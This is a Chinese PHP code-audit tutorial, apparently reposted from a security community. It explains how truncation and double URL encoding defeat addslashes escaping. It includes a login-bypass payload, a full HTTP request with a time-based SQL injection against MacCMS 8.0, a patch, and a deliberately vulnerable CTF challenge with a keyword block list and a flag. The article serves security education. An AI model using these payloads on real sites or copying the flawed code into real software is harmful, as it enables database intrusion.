[红日安全]代码审计Day13 — 特定场合下addslashes函数的绕过

本文由红日安全成员: l1nk3r 编写,如有不当,还望斧正。

本文转载自先知社区:https://xz.aliyun.com/t/2864

前言

大家好,我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目,供大家学习交流,我们给这个项目起了一个名字叫 PHP-Audit-Labs 。现在大家所看到的系列文章,属于项目 第一阶段 的内容,本阶段的内容题目均来自 PHP SECURITY CALENDAR 2017 。对于每一道题目,我们均给出对应的分析,并结合实际CMS进行解说。在文章的最后,我们还会留一道CTF题目,供大家练习,希望大家喜欢。下面是 第13篇 代码审计文章:

Day 13 - Turkey Baster

代码如下:

1 (1).png

这是一道典型的用户登录程序,从代码来看,考察的应该是通过 SQL注入 绕过登陆验证。代码 第33行 ,通过 POST 方式传入 user 和 passwd 两个参数,通过 isValid() 来判断登陆是否合法。我们跟进一下 isValid() 这个函数,该函数主要功能代码在 第12行-第22行 ,我们看到 13行 和 14行 调用 sanitizeInput() 针对 user 和 password 进行相关处理。

跟进一下 sanitizeInput() ,主要功能代码在 第24行-第29行 ,这里针对输入的数据调用 addslashes 函数进行处理,然后再针对处理后的内容进行长度的判断,如果长度大于20,就只截取前20个字符。 addslashes 函数定义如下:

addslashes — 使用反斜线引用字符串

string addslashes ( string $str )

作用:在单引号(')、双引号(")、反斜线(\)与 NUL( NULL 字符)字符之前加上反斜线。

我们来看个例子:

2.png

那这题已经过滤了单引号,正常情况下是没有注入了,那为什么还能导致注入了,原因实际上出在了 substr 函数,我们先看这个函数的定义:

substr — 返回字符串的子串

string substr ( string $string , int $start [, int $length ] )

作用:返回字符串 string 由 start 和 length 参数指定的子字符串。


我们来看个例子:

3.png

那么再回到这里,我们知道反斜杠可以取消特殊字符的用法,而注入想要通过单引号闭合,在这道题里势必会引入反斜杠。所以我们能否在反斜杠与单引号之间截断掉,只留一个反斜杠呢?答案是可以,我们看个以下这个例子。

4.png

在这个例子中,我们直接使用题目代码中的过滤代码,并且成功在反斜杠和单引号之间截断了,那我们把这个payload带入到题目代码中,拼接一下 第17行-第19行 代码中的sql语句。

select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'


这里的sql语句由于反斜杠的原因, user = '1234567890123456789\' 最后这个单引号便失去了它的作用。这里我们让 pass=or 1=1# ,那么最后的sql语句如下:

select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'


这时候在此SQL语句中, user 值为 1234567890123456789\' AND password = ,因此我们可以保证带入数据库执行的结果为 True ,然后就能够顺利地通过验证。

所以这题最后的 payload 如下所示:

user=1234567890123456789'&passwd=or 1=1#


实例分析

这里的实例分析,我们选择 苹果CMS视频分享程序 8.0 进行相关漏洞分析。漏洞的位置是在 inc\common\template.php ,我们先看看相关代码:

12.png

这里代码的 第三行-第四行 位置, $lp['wd'] 变量位置存在字符串拼接,很明显存在 sql注入 ,但是这个cms具有一些通用的注入防护,所以我们从头开始一步步的看。

首先在 inc\module\vod.php 文件中的,我们看到 第一行 代码当 $method=search 成立的时候,进入了 第3行 中的 be("all", "wd") 获取请求中 wd 参数的值,并且使用 chkSql() 函数针对 wd 参数的值进行处理。部分关键代码如下所示:

5.png

跟进一下 be() 函数,其位置在 inc\common\function.php 文件中,关键代码如下:

6 (1).png

这部分代码的作用就是对 GET,POST,REQUEST 接收到的参数进行 addslashes 的转义处理。根据前面针对 be("all", "wd") 的分析,我们知道 wd 参数的值是通过 REQUEST 方式接收,并使用 addslashes 函数进行转义处理。再回到 inc\module\vod.php 文件中的,我们跟进一下 chkSql() 函数,该函数位置在 inc\common\360_safe3.php 文件中,具体代码如下:

7.png

分析一下这部分代码的作用,其实就是在 第8行-第12行 针对接收到的的变量进行循环的 urldecode (也就是url解码)动作,然后在 第15行 ,使用 StopAttack 函数解码后的数据进行处理,最后将处理后的数据通过 htmlEncode 方法进行最后的处理,然后返回处理之后的值。

我们先跟进一下 StopAttack 函数,该函数位置在 inc\common\360_safe3.php 文件中,我们截取部分相关代码如下:

8.png

我们看到代码的 第13行-第19行 调用正则进行处理,而相关的正则表达式是 $ArrFiltReq 变量。这里 第13行 的 $ArrFiltReq 变量就是前面传入的 $getfilter ,即语句变成:

preg_match("/".$getfilter."/is",1)

我们跟进一下 $getfilter 变量。该变量在 inc\common\360_safe3.php 文件中,我们截取部分相关代码如下:

9.png

这串代码的功能显而易见,就是检测 GET,POST,COOKIE 中的恶意数据。刚刚在 chkSql() 函数最后有串代码是: return htmlEncode($s); ,我们跟进一下 htmlEncode 函数。该函数位置在 inc\common\function.php 文件中,相关代码如下:

10.png

这段代码的功能是针对 & 、 ' 、 空格 、 " 、 TAB 、 回车 、 换行 、 大于小于号 等符号进行实体编码转换。但是这里百密一疏,没有针对其他的空白字符和反斜杠进行处理。这里先埋下一个伏笔,我们继续往下看。

首先注入点是在 inc\common\template.php ,相关代码如下:

12 (1).png

我们继续看看这个 $lp['wd'] 的值是怎么获取的,在 inc\common\template.php 文件中找到其相关代码:

11.png

上图 第13行 ,当 P['wd'] 不为空的时候, $lp['wd'] 是从 P["wd"] 中获取到数据的。根据前面我们的分析,在 inc\module\vod.php 文件中的存在这样一行代码: $tpl->P["wd"] = $wd;

5 (1).png

而 wd 是可以从 REQUEST 中获取到,所以这里的 wd 实际上是可控的。


漏洞验证

现在我们需要针对漏洞进行验证工作,这就涉及到POC的构造。在前面分析中,我们知道 htmlEncode 针对 & 、 ' 、 空格 、 "、 TAB 、 回车 、 换行 、 大于小于号 进行实体编码转换。但是这里的注入类型是字符型注入,需要引入单引号来进行闭合,但是 htmlEncode 函数又对单引号进行了处理。因此我们可以换个思路。

我们看到注入攻击的时候,我们的 $lp['wd'] 参数可以控制SQL语句中的两个位置,因此这里我们可以通过引入 反斜杠 进行单引号的闭合,但是针对前面的分析我们知道其调用了 addslashes 函数进行转义处理,而 addslashes 会对 反斜杠 进行处理,但是这里对用户请求的参数又会先进行 url解码 的操作,因此这里可以使用 双url编码 绕过 addslashes 函数。

12 (1).png

POST /maccms8/index.php?m=vod-search HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Connection: keep-alive
Upgrade-Insecure-Requests: 1

wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63

14.png


payload传到程序里,经过拼接后的数据库语句如下所示:

15.png

漏洞修复

这里的防御手段其实已经很多了,但就是因为这么多防御手段结合在一起出现了有趣的绕过方式。

function htmlEncode($str)
{
	if (!isN($str)){
		$str = str_replace(chr(38), "&",$str);
		$str = str_replace(">", ">",$str);
		$str = str_replace("<", "&lt;",$str);
		$str = str_replace(chr(39), "&#39;",$str);
		$str = str_replace(chr(32), "&nbsp;",$str);
		$str = str_replace(chr(34), "&quot;",$str);
		$str = str_replace(chr(9), "&nbsp;&nbsp;&nbsp;&nbsp;",$str);
		$str = str_replace(chr(13), "<br />",$str);
		$str = str_replace(chr(10), "<br />",$str);
        $str = str_replace(chr(92), "<br />",$str);      //新增修复代码
	}
	return $str;
}


反斜杠的ascii码是92,这里新增一行代码处理反斜杠。

13.png

结语

看完了上述分析,不知道大家是否对 htmlentities 函数在使用过程中可能产生的问题,有了更加深入的理解,文中用到的代码可以从 这里 下载,当然文中若有不当之处,还望各位斧正。如果你对我们的项目感兴趣,欢迎发送邮件到 hongrisec@gmail.com 联系我们。 Day13 的分析文章就到这里,我们最后留了一道CTF题目给大家练手,题目如下:

//index.php
<?php
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
        $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
        if ($check) {
        echo "非法字符!";
       exit(); 
     }
     return $str;
 }
  // 经过第一个waf处理
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
  // 业务处理
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>
//db.inc.php
<?php
$mysql_server_name="localhost";
$mysql_database="ctf";    /** 数据库的名称 */
$mysql_username="root";  /** MySQL数据库用户名 */
$mysql_password="root";  /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, 
$mysql_username,$mysql_password,'utf-8');
?>
//ctf.sql
# Host: localhost  (Version: 5.5.53)
# Date: 2018-08-18 21:42:20
# Generator: MySQL-Front 5.3  (Build 4.234)

/*!40101 SET NAMES utf8 */;

#
# Structure for table "users"
#
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `pass` varchar(255) DEFAULT NULL,
  `flag` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

#
# Data for table "users"
#

/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{R3qu3st_Is_1nterEst1ng}');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;


参考文章

PHP的两个特性导致waf绕过注入

request导致的安全性问题分析



本文作者:红日安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/80696.html

Tags:
评论  (0)
快来写下你的想法吧!

红日安全团队

文章数:19 积分: 72

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号